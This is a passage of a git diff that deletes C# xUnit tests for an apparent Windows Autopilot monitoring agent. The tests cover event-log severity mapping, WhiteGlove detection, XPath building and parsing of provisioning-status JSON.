- tracker.ProcessEvent(42, null, null, null, DateTime.UtcNow, "msg",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- Assert.Equal(Constants.EventTypes.ModernDeploymentLog, Assert.Single(GetCaptured()).EventType);
- }
-
- // ========== Harmless warning downgrade (Event 100, Level 3) ==========
-
- [Fact]
- public void ProcessEvent_EventId100Level3_DowngradedToDebugLog()
- {
- var tracker = CreateTracker();
-
- tracker.ProcessEvent(100, 3, "Warning", "prov", DateTime.UtcNow,
- "Autopilot policy not found",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
- Assert.Equal(EventSeverity.Debug, evt.Severity);
- }
-
- [Fact]
- public void ProcessEvent_EventId100Level2_DowngradedToDebugLog()
- {
- var tracker = CreateTracker();
-
- tracker.ProcessEvent(100, 2, "Error", "prov", DateTime.UtcNow, "msg",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
- Assert.Equal(EventSeverity.Debug, evt.Severity);
- }
-
- [Fact]
- public void ProcessEvent_EventId100Level1Critical_NeverDowngraded()
- {
- var tracker = CreateTracker();
-
- tracker.ProcessEvent(100, 1, "Critical", "prov", DateTime.UtcNow, "msg",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType);
- Assert.Equal(EventSeverity.Error, evt.Severity);
- }
-
- [Fact]
- public void ProcessEvent_DefaultHarmlessList_IncludesEventId1005()
- {
- var tracker = CreateTracker();
-
- tracker.ProcessEvent(1005, 3, "Warning", "prov", DateTime.UtcNow, "noisy",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
- Assert.Equal(EventSeverity.Debug, evt.Severity);
- }
-
- [Fact]
- public void ProcessEvent_CustomHarmlessList_OverridesDefaults()
- {
- var tracker = CreateTracker(harmlessEventIds: new[] { 4242 });
-
- // 100 is NOT in the custom list → stays Warning
- tracker.ProcessEvent(100, 3, "Warning", "prov", DateTime.UtcNow, "msg",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
- // 4242 IS in the custom list → downgraded
- tracker.ProcessEvent(4242, 3, "Warning", "prov", DateTime.UtcNow, "msg",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- var events = GetCaptured();
- Assert.Equal(2, events.Count);
- Assert.Contains(events, e => e.Data != null && (int)e.Data["eventId"] == 100 && e.Severity == EventSeverity.Warning);
- Assert.Contains(events, e => e.Data != null && (int)e.Data["eventId"] == 4242 && e.Severity == EventSeverity.Debug);
- }
-
- [Fact]
- public void ProcessEvent_UnlistedHighLevelEvent_RemainsAsError()
- {
- var tracker = CreateTracker();
-
- // 999 not in the default harmless list → Level 2 stays Error
- tracker.ProcessEvent(999, 2, "Error", "prov", DateTime.UtcNow, "msg",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType);
- Assert.Equal(EventSeverity.Error, evt.Severity);
- }
-
- // ========== Message payload shape ==========
-
- [Fact]
- public void ProcessEvent_EmptyDescription_UsesFallback()
- {
- var tracker = CreateTracker();
-
- tracker.ProcessEvent(999, 4, "Information", "prov", DateTime.UtcNow, null,
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Contains("EventID 999", evt.Message);
- Assert.Contains("no formatted description", evt.Message);
- }
-
- [Fact]
- public void ProcessEvent_LongDescription_TruncatedTo1000Chars()
- {
- var tracker = CreateTracker();
- var longDesc = new string('x', 1500);
-
- tracker.ProcessEvent(42, 4, "Information", "prov", DateTime.UtcNow, longDesc,
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- var evt = Assert.Single(GetCaptured());
- // Message prefix "[Autopilot] EventID 42: " + 1000 chars + "…"
- Assert.True(evt.Message.Length <= 2000);
- Assert.EndsWith("…", evt.Message);
- }
-
- [Fact]
- public void ProcessEvent_DataDictionaryContainsAllExpectedKeys()
- {
- var tracker = CreateTracker();
- var ts = new DateTime(2026, 4, 14, 10, 0, 0, DateTimeKind.Utc);
-
- tracker.ProcessEvent(42, 3, "Warning", "MyProvider", ts, "hello",
- "ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: true);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal("ManagementService", evt.Data["channel"]);
- Assert.Equal(ModernDeploymentTracker.ManagementChannel, evt.Data["channelFullName"]);
- Assert.Equal(42, evt.Data["eventId"]);
- Assert.Equal(3, evt.Data["level"]);
- Assert.Equal("Warning", evt.Data["levelName"]);
- Assert.Equal("MyProvider", evt.Data["providerName"]);
- Assert.Equal(true, evt.Data["backfilled"]);
- }
-
- // ========== WhiteGlove Event 509 handling ==========
-
- [Fact]
- public void ProcessEvent_WhiteGloveStart_FromManagementService_EmitsWhiteGloveStartedEvent()
- {
- var tracker = CreateTracker(_tempDir);
-
- tracker.ProcessEvent(
- ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
- DateTime.UtcNow,
- "AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1",
- "ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal("whiteglove_started", evt.EventType);
- Assert.Equal(EventSeverity.Info, evt.Severity);
- Assert.True(evt.ImmediateUpload);
- Assert.True(tracker.IsWhiteGloveStartDetected);
- }
-
- [Fact]
- public void ProcessEvent_WhiteGloveStart_FromAutopilotChannel_TreatedAsRegularLog()
- {
- // Event 509 is only treated as WhiteGlove when it comes from ManagementService.
- // The Autopilot channel may emit event 509 for other purposes → fall through to
- // the generic level-based mapping.
- var tracker = CreateTracker(_tempDir);
-
- tracker.ProcessEvent(
- ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
- DateTime.UtcNow, "AutopilotManager WhiteGlove whatever",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, isBackfill: false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
- Assert.False(tracker.IsWhiteGloveStartDetected);
- }
-
- [Fact]
- public void ProcessEvent_WhiteGloveEvent509_WithoutWhiteGloveKeyword_Ignored()
- {
- // Guard against future reuse of Event 509 for unrelated purposes.
- var tracker = CreateTracker(_tempDir);
-
- tracker.ProcessEvent(
- ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
- DateTime.UtcNow, "Some unrelated message",
- "ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: false);
-
- Assert.Empty(GetCaptured());
- Assert.False(tracker.IsWhiteGloveStartDetected);
- }
-
- [Fact]
- public void ProcessEvent_WhiteGloveStart_FireOnce_DuplicatesSuppressed()
- {
- var tracker = CreateTracker(_tempDir);
- var desc = "AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1";
-
- tracker.ProcessEvent(
- ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
- DateTime.UtcNow, desc,
- "ManagementService", ModernDeploymentTracker.ManagementChannel, false);
- tracker.ProcessEvent(
- ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
- DateTime.UtcNow.AddSeconds(5), desc,
- "ManagementService", ModernDeploymentTracker.ManagementChannel, false);
-
- Assert.Single(GetCaptured());
- }
-
- [Fact]
- public void ProcessEvent_WhiteGloveStart_PersistsStateToDisk()
- {
- var tracker = CreateTracker(_tempDir);
- var eventTime = new DateTime(2026, 4, 14, 9, 30, 0, DateTimeKind.Utc);
-
- tracker.ProcessEvent(
- ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
- eventTime,
- "AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1",
- "ManagementService", ModernDeploymentTracker.ManagementChannel, false);
-
- var statePath = Path.Combine(_tempDir, ModernDeploymentTracker.WhiteGloveBackfillStateFileName);
- Assert.True(File.Exists(statePath));
- var state = JsonConvert.DeserializeObject(File.ReadAllText(statePath));
- Assert.True(state.WhiteGloveStartSeen);
- Assert.Equal(eventTime, state.SeenUtc);
- }
-
- [Fact]
- public void LoadWhiteGloveBackfillState_NoStateDirectory_ReturnsNull()
- {
- var tracker = CreateTracker(stateDirectory: null);
- Assert.Null(tracker.LoadWhiteGloveBackfillState());
- }
-
- [Fact]
- public void LoadWhiteGloveBackfillState_NoFile_ReturnsNull()
- {
- var tracker = CreateTracker(_tempDir);
- Assert.Null(tracker.LoadWhiteGloveBackfillState());
- }
-
- [Fact]
- public void LoadWhiteGloveBackfillState_CorruptFile_ReturnsNullAndDoesNotThrow()
- {
- var tracker = CreateTracker(_tempDir);
- var statePath = Path.Combine(_tempDir, ModernDeploymentTracker.WhiteGloveBackfillStateFileName);
- File.WriteAllText(statePath, "{not valid json");
-
- Assert.Null(tracker.LoadWhiteGloveBackfillState());
- }
-
- [Fact]
- public void LoadWhiteGloveBackfillState_RoundTrip_PreservesFlagAndTimestamps()
- {
- var tracker = CreateTracker(_tempDir);
- var eventTime = new DateTime(2026, 4, 14, 9, 30, 0, DateTimeKind.Utc);
-
- tracker.PersistWhiteGloveBackfillState(eventTime);
- var loaded = tracker.LoadWhiteGloveBackfillState();
-
- Assert.NotNull(loaded);
- Assert.True(loaded.WhiteGloveStartSeen);
- Assert.Equal(eventTime, loaded.SeenUtc);
- }
-
- // ========== XPath builder ==========
-
- [Fact]
- public void BuildXPath_NoTargetedIds_UsesLevelFilterOnly()
- {
- var xpath = ModernDeploymentTracker.BuildXPath(3, null);
- Assert.Contains("Level=0 or (Level >= 1 and Level <= 3)", xpath);
- Assert.DoesNotContain("EventID=", xpath);
- }
-
- [Fact]
- public void BuildXPath_WithTargetedIds_IncludesOrClause()
- {
- var xpath = ModernDeploymentTracker.BuildXPath(3, new HashSet { 509 });
- Assert.Contains("Level=0 or (Level >= 1 and Level <= 3)", xpath);
- Assert.Contains("EventID=509", xpath);
- }
-
- [Fact]
- public void BuildXPath_LevelClampedToWindowsRange()
- {
- Assert.Contains("Level <= 1", ModernDeploymentTracker.BuildXPath(0, null));
- Assert.Contains("Level <= 5", ModernDeploymentTracker.BuildXPath(99, null));
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ProvisioningStatusTrackerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ProvisioningStatusTrackerTests.cs
deleted file mode 100644
index 0ee14145..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ProvisioningStatusTrackerTests.cs
+++ /dev/null
@@ -1,529 +0,0 @@
-using System;
-using System.Collections.Concurrent;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text.Json;
-using AutopilotMonitor.Agent.Core.Tests.Helpers;
-using AutopilotMonitor.Shared;
-using AutopilotMonitor.Shared.Models;
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Collectors
-{
- ///
- /// Tests for . Drives category-status processing via
- /// ProcessCategoryStatusForTest with synthetic JSON payloads to exercise first-seen,
- /// subcategory transitions, categorySucceeded resolution, failure escalation, DeviceSetup
- /// completion event, and snapshot APIs. Registry / RegistryWatcher are NOT invoked.
- ///
- public sealed class ProvisioningStatusTrackerTests
- {
- private readonly ConcurrentBag _captured = new ConcurrentBag();
- private readonly List _espFailures = new List();
- private int _deviceSetupCompleteCount;
-
- private ProvisioningStatusTracker CreateTracker()
- {
- var t = new ProvisioningStatusTracker(
- sessionId: "sess-1",
- tenantId: "tenant-1",
- onEventCollected: e => _captured.Add(e),
- logger: TestLogger.Instance);
- t.EspFailureDetected += (_, ft) => _espFailures.Add(ft);
- t.DeviceSetupProvisioningComplete += (_, __) => System.Threading.Interlocked.Increment(ref _deviceSetupCompleteCount);
- return t;
- }
-
- private List OfType(string eventType) =>
- _captured.ToList().Where(e => e.EventType == eventType).ToList();
-
- // =====================================================================
- // ProcessCategoryStatus — first-seen + resolved-to-success
- // =====================================================================
-
- [Fact]
- public void ProcessCategoryStatus_FirstSeen_EmitsStatusAndRawDump()
- {
- var t = CreateTracker();
- var json = @"{""categorySucceeded"":null,""CertificatesSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""working""}}";
-
- var result = t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
-
- Assert.False(result.IsFailed);
- Assert.NotEmpty(OfType(Constants.EventTypes.EspProvisioningStatus));
- Assert.NotEmpty(OfType("esp_provisioning_raw"));
- var raw = OfType("esp_provisioning_raw").Single();
- Assert.Equal("first_seen", raw.Data["trigger"]);
- }
-
- [Fact]
- public void ProcessCategoryStatus_ResolvesToSuccess_EmitsResolvedEventAndRaw()
- {
- var t = CreateTracker();
- var initial = @"{""categorySucceeded"":null,""CertificatesSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""...""}}";
- var resolved = @"{""categorySucceeded"":true,""CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}";
-
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", initial);
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", resolved);
-
- var raws = OfType("esp_provisioning_raw");
- Assert.Equal(2, raws.Count);
- Assert.Contains(raws, r => (string)r.Data["trigger"] == "first_seen");
- Assert.Contains(raws, r => (string)r.Data["trigger"] == "category_resolved_success");
- }
-
- [Fact]
- public void ProcessCategoryStatus_ResolvesToFailure_FiresEspFailureDetected()
- {
- var t = CreateTracker();
- var failed = @"{""categorySucceeded"":false,""CertificatesSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}";
-
- var result = t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed);
-
- Assert.True(result.IsFailed);
- Assert.Contains("Provisioning_AccountSetup_Certificates_Failed", result.FailureType);
- }
-
- [Fact]
- public void ProcessCategoryStatus_SubcategoryFailureBeforeCategorySucceededResolves_AlsoEscalates()
- {
- // Timeout scenario: categorySucceeded still null, but a subcategory already failed.
- var t = CreateTracker();
- var partialFailure = @"{""CertificatesSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}";
-
- var result = t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", partialFailure);
-
- Assert.True(result.IsFailed);
- Assert.Equal("Provisioning_DeviceSetup_Certificates_Failed", result.FailureType);
- }
-
- [Fact]
- public void ProcessCategoryStatus_SameFailureTwice_FireOnceGuard()
- {
- var t = CreateTracker();
- var failed = @"{""categorySucceeded"":false,""AppsSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}";
- var failed2 = @"{""categorySucceeded"":false,""AppsSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err - refresh""}}";
-
- t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed);
- var secondResult = t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed2);
-
- Assert.False(secondResult.IsFailed); // Fire-once guard in TryFireProvisioningFailure
- }
-
- // =====================================================================
- // Flat (string) subcategory format — legacy Windows versions
- // =====================================================================
-
- [Fact]
- public void ParseSubcategories_FlatStringFormat_InferredFromText()
- {
- var json = @"{""CertificatesSubcategory"":""Certificates (1 of 1 applied)""}";
- using var doc = JsonDocument.Parse(json);
- var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
-
- Assert.Single(subs);
- Assert.Equal("Certificates", subs[0].Name);
- Assert.Equal("succeeded", subs[0].State);
- }
-
- [Fact]
- public void ParseSubcategories_NestedObjectFormat_UsesExplicitState()
- {
- var json = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""2 of 5""}}";
- using var doc = JsonDocument.Parse(json);
- var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
-
- Assert.Single(subs);
- Assert.Equal("Apps", subs[0].Name);
- Assert.Equal("in_progress", subs[0].State);
- Assert.Equal("2 of 5", subs[0].StatusText);
- }
-
- [Fact]
- public void ParseSubcategories_DottedName_CleanedToSuffix()
- {
- var json = @"{""AccountSetup.CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}";
- using var doc = JsonDocument.Parse(json);
- var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
-
- Assert.Single(subs);
- Assert.Equal("Certificates", subs[0].Name);
- }
-
- [Fact]
- public void ParseSubcategories_IgnoresNonSubcategoryProperties()
- {
- var json = @"{""categorySucceeded"":true,""CertificatesSubcategory"":""done""}";
- using var doc = JsonDocument.Parse(json);
- var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
-
- Assert.Single(subs);
- Assert.Equal("Certificates", subs[0].Name);
- }
-
- // =====================================================================
- // State inference from flat text
- // =====================================================================
-
- [Theory]
- [InlineData("Complete", "succeeded")]
- [InlineData("Certificates (1 of 1 applied)", "succeeded")]
- [InlineData("Apps installed", "succeeded")]
- [InlineData("No setup needed", "succeeded")]
- [InlineData("Error during install", "failed")]
- [InlineData("Registration Failed", "failed")]
- [InlineData("Working on it", "in_progress")]
- [InlineData("", "unknown")]
- public void InferStateFromText_RecognizesCommonPatterns(string text, string expected)
- {
- Assert.Equal(expected, ProvisioningStatusTracker.InferStateFromText(text));
- }
-
- // =====================================================================
- // SafeGetBool / SafeGetString
- // =====================================================================
-
- [Fact]
- public void SafeGetBool_TrueFalseNullStringUnknown()
- {
- using var doc = JsonDocument.Parse(@"{""t"":true,""f"":false,""s"":""true"",""n"":null,""num"":42}");
- var root = doc.RootElement;
- Assert.True(ProvisioningStatusTracker.SafeGetBool(root, "t"));
- Assert.False(ProvisioningStatusTracker.SafeGetBool(root, "f"));
- Assert.True(ProvisioningStatusTracker.SafeGetBool(root, "s"));
- Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "n"));
- Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "num"));
- Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "missing"));
- }
-
- [Fact]
- public void SafeGetString_ReturnsStringOrNull()
- {
- using var doc = JsonDocument.Parse(@"{""s"":""hello"",""num"":1,""missing_key"":null}");
- var root = doc.RootElement;
- Assert.Equal("hello", ProvisioningStatusTracker.SafeGetString(root, "s"));
- Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "num"));
- Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "missing_key"));
- Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "totally_absent"));
- }
-
- // =====================================================================
- // BuildProgressSummary
- // =====================================================================
-
- [Fact]
- public void BuildProgressSummary_WithNoSubs_ReturnsInProgress()
- {
- Assert.Equal("In progress",
- ProvisioningStatusTracker.BuildProgressSummary(new List()));
- }
-
- [Fact]
- public void BuildProgressSummary_WithFailures_ReportsFailures()
- {
- var subs = new List
- {
- new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
- new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "failed" },
- new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "in_progress" },
- };
-
- Assert.Equal("1 of 3 subcategories failed",
- ProvisioningStatusTracker.BuildProgressSummary(subs));
- }
-
- [Fact]
- public void BuildProgressSummary_NoFailures_ReportsCompletion()
- {
- var subs = new List
- {
- new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
- new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "notRequired" },
- new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "in_progress" },
- };
-
- Assert.Equal("2 of 3 subcategories completed",
- ProvisioningStatusTracker.BuildProgressSummary(subs));
- }
-
- // =====================================================================
- // Snapshots + state properties
- // =====================================================================
-
- [Fact]
- public void GetProvisioningSnapshot_BeforeAnyData_ReturnsNull()
- {
- var t = CreateTracker();
- Assert.Null(t.GetProvisioningSnapshot());
- }
-
- [Fact]
- public void GetProvisioningSnapshot_AfterSuccess_ReflectsResolved()
- {
- var t = CreateTracker();
- var succeeded = @"{""categorySucceeded"":true,""CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}";
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", succeeded);
-
- var snap = t.GetProvisioningSnapshot();
- Assert.NotNull(snap);
- Assert.Equal("success", snap.CategoryOutcomes["DeviceSetup"]);
- Assert.Equal(1, snap.CategoriesSeen);
- Assert.Equal(1, snap.CategoriesResolved);
- Assert.True(snap.AllResolved);
- }
-
- [Fact]
- public void GetProvisioningCategorySnapshot_ReflectsCategorySucceededMap()
- {
- var t = CreateTracker();
- var succeeded = @"{""categorySucceeded"":true,""X"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}";
- var inProgress = @"{""categorySucceeded"":null,""Y"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}";
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", succeeded);
- t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", inProgress);
-
- var snap = t.GetProvisioningCategorySnapshot();
- Assert.Equal(true, snap["DeviceSetupCategory.Status"]);
- Assert.Null(snap["AccountSetupCategory.Status"]);
- }
-
- [Fact]
- public void DeviceSetupCategorySucceeded_ReflectsResolvedSuccess()
- {
- var t = CreateTracker();
- Assert.False(t.DeviceSetupCategorySucceeded);
-
- t.ProcessCategoryStatusForTest(
- "DeviceSetupCategory.Status",
- @"{""categorySucceeded"":true,""S"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}");
-
- Assert.True(t.DeviceSetupCategorySucceeded);
- }
-
- [Fact]
- public void HasAccountSetupActivity_TrueAfterAccountSetupSeen()
- {
- var t = CreateTracker();
- Assert.False(t.HasAccountSetupActivity);
-
- t.ProcessCategoryStatusForTest(
- "AccountSetupCategory.Status",
- @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}");
-
- Assert.True(t.HasAccountSetupActivity);
- }
-
- [Fact]
- public void FindFailedSubcategory_ReturnsFirstFailedName()
- {
- var subs = new List
- {
- new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
- new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "failed" },
- new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "failed" },
- };
- Assert.Equal("B", ProvisioningStatusTracker.FindFailedSubcategory(subs));
-
- var none = new List
- {
- new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
- };
- Assert.Null(ProvisioningStatusTracker.FindFailedSubcategory(none));
- }
-
- // =====================================================================
- // Subcategory transitions (noise filtering)
- // =====================================================================
-
- [Fact]
- public void ProcessCategoryStatus_NotStartedToInProgress_IsNoise_NoTransitionEventEmitted()
- {
- var t = CreateTracker();
- var initial = @"{""AppsSubcategory"":{""subcategoryState"":""notStarted"",""subcategoryStatusText"":""""}}";
- var progress = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""go""}}";
-
- t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", initial);
- t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", progress);
-
- // Progress event still emitted (JSON changed) but NO event should carry a
- // subcategory_state_change transition (notStarted → in_progress is filtered as noise).
- var all = OfType(Constants.EventTypes.EspProvisioningStatus);
- Assert.DoesNotContain(all, e => e.Data.ContainsKey("transitions"));
- }
-
- [Fact]
- public void ProcessCategoryStatus_InProgressToSucceeded_EmitsTransitionEvent()
- {
- var t = CreateTracker();
- var initial = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}";
- var done = @"{""AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}";
-
- t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", initial);
- t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", done);
-
- // At least one of the emitted status events must carry the transition payload.
- var withTransitions = OfType(Constants.EventTypes.EspProvisioningStatus)
- .Where(e => e.Data.ContainsKey("transitions"))
- .ToList();
- Assert.Single(withTransitions);
- Assert.Equal("subcategory_state_change", withTransitions[0].Data["changeType"]);
- }
-
- // =====================================================================
- // SaveWhiteGloveSuccessResult detection
- // =====================================================================
-
- [Fact]
- public void ProcessCategoryStatus_DeviceSetup_WithSaveWhiteGloveSuccessResult_SetsFlag()
- {
- var t = CreateTracker();
- // Simulates the exact JSON structure from a real WhiteGlove DeviceSetup registry
- var json = @"{
- ""categoryState"":""succeeded"",
- ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
- ""DeviceSetup.AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
- ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""},
- ""categoryStatusText"":""Complete""
- }";
-
- Assert.False(t.HasSaveWhiteGloveSuccessResult);
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
- Assert.True(t.HasSaveWhiteGloveSuccessResult);
- }
-
- [Fact]
- public void ProcessCategoryStatus_DeviceSetup_WithoutSaveWhiteGloveSuccessResult_FlagStaysFalse()
- {
- var t = CreateTracker();
- // Normal (non-WhiteGlove) DeviceSetup — no SaveWhiteGloveSuccessResult property
- var json = @"{
- ""categoryState"":""succeeded"",
- ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
- ""DeviceSetup.AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
- ""categoryStatusText"":""Complete""
- }";
-
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
- Assert.False(t.HasSaveWhiteGloveSuccessResult);
- }
-
- [Fact]
- public void ProcessCategoryStatus_AccountSetup_WithSaveWhiteGloveSuccessResult_Ignored()
- {
- var t = CreateTracker();
- // SaveWhiteGloveSuccessResult in AccountSetup should be ignored (only DeviceSetup matters)
- var json = @"{
- ""categoryState"":""succeeded"",
- ""AccountSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""},
- ""categoryStatusText"":""Complete""
- }";
-
- t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", json);
- Assert.False(t.HasSaveWhiteGloveSuccessResult);
- }
-
- [Fact]
- public void ProcessCategoryStatus_DeviceSetup_SaveWhiteGloveNotSucceeded_FlagStaysFalse()
- {
- var t = CreateTracker();
- var json = @"{
- ""categoryState"":""inProgress"",
- ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
- ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""inProgress"",""subcategoryStatusText"":""working""},
- ""categoryStatusText"":""working""
- }";
-
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
- Assert.False(t.HasSaveWhiteGloveSuccessResult);
- }
-
- [Fact]
- public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStateTransition_EmitsRawDumpForEachChange()
- {
- var t = CreateTracker();
-
- // Poll 1: SaveWhiteGloveSuccessResult=notStarted
- var jsonNotStarted = @"{
- ""categoryState"":""inProgress"",
- ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
- ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""},
- ""categoryStatusText"":""working""
- }";
-
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", jsonNotStarted);
-
- // Should emit raw dump for first WG state observation
- var raws = OfType("esp_provisioning_raw");
- var wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
- Assert.Single(wgRaws);
- Assert.Contains("whiteglove_signal_notStarted", wgRaws[0].Message);
- Assert.False(t.HasSaveWhiteGloveSuccessResult);
-
- // Poll 2: SaveWhiteGloveSuccessResult=succeeded
- var jsonSucceeded = @"{
- ""categoryState"":""succeeded"",
- ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
- ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""},
- ""categoryStatusText"":""Complete""
- }";
-
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", jsonSucceeded);
-
- // Should now have 2 WG raw dumps (ConcurrentBag has no guaranteed order)
- raws = OfType("esp_provisioning_raw");
- wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
- Assert.Equal(2, wgRaws.Count);
- Assert.Single(wgRaws, e => e.Message.Contains("whiteglove_signal_notStarted"));
- Assert.Single(wgRaws, e => e.Message.Contains("whiteglove_signal_succeeded"));
- Assert.True(t.HasSaveWhiteGloveSuccessResult);
- }
-
- [Fact]
